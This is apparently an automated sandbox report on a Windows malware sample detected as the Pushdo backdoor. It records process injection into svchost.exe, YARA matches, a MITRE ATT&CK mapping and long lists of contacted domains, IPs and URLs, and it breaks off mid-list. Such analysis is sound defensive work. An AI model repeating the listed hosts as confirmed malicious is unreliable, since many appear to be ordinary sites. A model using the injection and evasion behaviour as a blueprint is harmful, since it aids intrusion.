Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 296E008	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2983008	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2E8B008	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2601008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2DAF008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2F0D008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2DC0008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 26FD008	Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Backdoor Pushdo

Source: Yara match	File source: 12.2.svchost.exe.4004000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4004000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4004000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4004000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4004000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4004000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4004000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4000000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4000000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4004000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4004000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4004000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4004000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4004000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4004000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4000000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4004000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4000000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4004000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4004000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4000000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3364967602.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3435716835.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3436507644.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3403881757.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3435918622.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3568343240.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3395101428.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	611 Process Injection	111 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	611 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yGktPvplJn.exe	29%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\pigalicapi.exe	29%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://gmpg.org/xfn/11	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.tvtools.fi	104.21.88.198	true	true	unknown
www.fcwcvt.org	188.114.96.3	true	true	unknown
www.stnic.co.uk	213.165.251.217	true	true	unknown
www.jacomfg.com	96.127.180.42	true	true	unknown
evcpa.com	192.124.249.10	true	true	unknown
www.yocinc.org	154.53.43.150	true	true	unknown
pohlfood.com	104.218.10.254	true	true	unknown
www.jenco.co.uk	104.21.23.9	true	true	unknown
www.credo.edu.pl	62.122.190.121	true	true	unknown
www.tyrns.com	217.79.184.35	true	true	unknown
smtp.aol.g03.yahoodns.net	87.248.97.31	true	true	unknown
www.vexcom.com	172.67.173.200	true	true	unknown
hummer.hu	185.80.51.179	true	true	unknown
synetik.net	193.166.255.171	true	true	unknown
lrsuk.com	144.76.24.9	true	true	unknown
www.pupi.cz	103.224.182.241	true	true	unknown
www.sclover3.com	157.112.182.239	true	true	unknown
www.holleman.us	51.79.51.72	true	true	unknown
ora.ecnet.jp	60.43.154.138	true	true	unknown
mail.protonmail.ch	185.205.70.128	true	true	unknown
www.edimart.hu	81.2.194.241	true	true	unknown
www.jchysk.com	69.163.182.181	true	true	unknown
www.railbook.net	103.224.182.253	true	true	unknown
ghs.googlehosted.com	142.250.186.147	true	false	unknown
hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	54.161.222.85	true	true	unknown
www.koz1.net	35.164.78.200	true	true	unknown
www.myropcb.com	74.208.236.101	true	true	unknown
www.tc17.com	188.114.97.3	true	true	unknown
www.11tochi.net	157.112.176.4	true	true	unknown
www.abdg.com	192.252.154.18	true	true	unknown
www.spanesi.com	5.196.166.214	true	true	unknown
hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	3.19.116.195	true	true	unknown
gmail-smtp-in.l.google.com	142.251.168.27	true	false	unknown
smtp1.sbc.mail.am0.yahoodns.net	66.218.88.163	true	true	unknown
www.vazir.se	34.218.204.173	true	true	unknown
www.naoi-a.com	202.254.236.40	true	true	unknown
d2r2uj0bnofxxz.cloudfront.net	18.245.31.21	true	true	unknown
www.fe-bauer.de	3.65.101.129	true	true	unknown
smtp.mail.global.gm0.yahoodns.net	66.218.88.167	true	true	unknown
item-pr.com	185.15.129.58	true	true	unknown
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	true	unknown
pb-games.com	173.254.28.29	true	true	unknown
fnw.us	137.118.26.67	true	true	unknown
www.mqs.com.br.cdn.gocache.net	170.82.174.30	true	true	unknown
www.rs-ag.com	188.114.97.3	true	true	unknown
www.x0c.com	185.53.177.50	true	true	unknown
www.pcgrate.com	104.21.66.46	true	true	unknown
www.findbc.com	13.248.169.48	true	true	unknown
mail.airmail.net	66.226.70.66	true	true	unknown
waldi.pl	46.242.238.60	true	true	unknown
maktraxx.com	5.189.128.121	true	true	unknown
www.photo4b.com	195.78.66.65	true	true	unknown
www.cel-cpa.com	104.196.26.65	true	false	unknown
hibu34.inregion.waas.oci.oraclecloud.net	147.154.0.23	true	true	unknown
www.c9dd.com	188.166.152.188	true	true	unknown
www.fnsds.org	188.114.96.3	true	true	unknown
www.vitaindu.com	122.128.109.107	true	true	unknown
aevga.com	108.167.164.216	true	true	unknown
reglera.com	64.125.133.18	true	true	unknown
wp.wpenginepowered.com	141.193.213.11	true	true	unknown
www.ora-ito.com	213.186.33.40	true	true	unknown
www.com-sit.com	104.26.10.81	true	true	unknown
www.kernsafe.com	104.26.3.124	true	true	unknown
www.wifi4all.nl	188.114.96.3	true	true	unknown
hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	3.94.41.167	true	true	unknown
www.wnsavoy.com	96.91.204.114	true	true	unknown
www.dayvo.com	188.114.97.3	true	true	unknown
www.olras.com	80.93.82.33	true	true	unknown
ext-sq.squarespace.com	198.185.159.144	true	true	unknown
www.stajum.com	85.131.197.10	true	true	unknown
www.medisa.info	13.248.252.114	true	true	unknown
quadlock.com	70.39.251.249	true	true	unknown
abart.pl	89.161.163.246	true	true	unknown
crcsi.org	165.22.45.169	true	true	unknown
www.usadig.com	198.100.146.220	true	true	unknown
xaicom.es	188.165.133.163	true	true	unknown
shops.myshopify.com	23.227.38.74	true	true	unknown
www.speelhal.net	217.19.237.54	true	true	unknown
pwd.org	208.109.214.162	true	true	unknown
www.ka-mo-me.com	211.1.226.67	true	true	unknown
www.wkhk.net	34.218.204.173	true	true	unknown
www.yoruksut.com	93.187.206.66	true	true	unknown
www.t-tre.com	135.181.73.98	true	true	unknown
2print.com	107.180.98.101	true	true	unknown
www.pr-park.com	118.27.125.181	true	true	unknown
www.otena.com	13.248.252.114	true	true	unknown
studyrussian.com	80.74.154.6	true	true	unknown
www.valdal.com	104.26.7.221	true	true	unknown
www.fink.com	75.119.202.130	true	true	unknown
dgmna.com	192.124.249.20	true	true	unknown
731a7d09.cname.cpolar.cn	116.211.150.37	true	true	unknown
www.ex-olive.com	183.90.183.73	true	true	unknown
baijaku.com	59.106.19.204	true	true	unknown
www.elpro.si	104.26.15.53	true	true	unknown
www.ftchat.com	188.114.97.3	true	true	unknown
nunomira.com	139.59.171.124	true	true	unknown
sjbs.org	69.163.239.62	true	true	unknown
www.owsports.ca	unknown	unknown	false	unknown
www.iamdirt.com	unknown	unknown	false	unknown
www.netcr.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.valdal.com/	true	unknown
http://www.holleman.us/	true	unknown
http://www.stajum.com/	true	unknown
http://www.elpro.si/	true	unknown
http://www.kernsafe.com/	true	unknown
http://www.credo.edu.pl/	true	unknown
http://www.quadlock.com/	true	unknown
http://www.c9dd.com/	true	unknown
http://www.naoi-a.com/	true	unknown
http://www.abdg.com/	true	unknown
http://www.domon.com/	true	unknown
http://www.maktraxx.com/	true	unknown
http://www.item-pr.com/	true	unknown
http://www.ora-ito.com/	true	unknown
http://www.olras.com/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.stnic.co.uk/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.6.12	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.elpro.si%2F&format=xml	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stajerskagz.si/o-sgz-2/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/product-category/buildings/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/fonts/poppins/pxiAyp8kv8JHgFVrJJLmE0tMMPKzSQ.woff2)	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://baijaku.com/instruments-detail/b-history_mmbj-lr05.html	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, 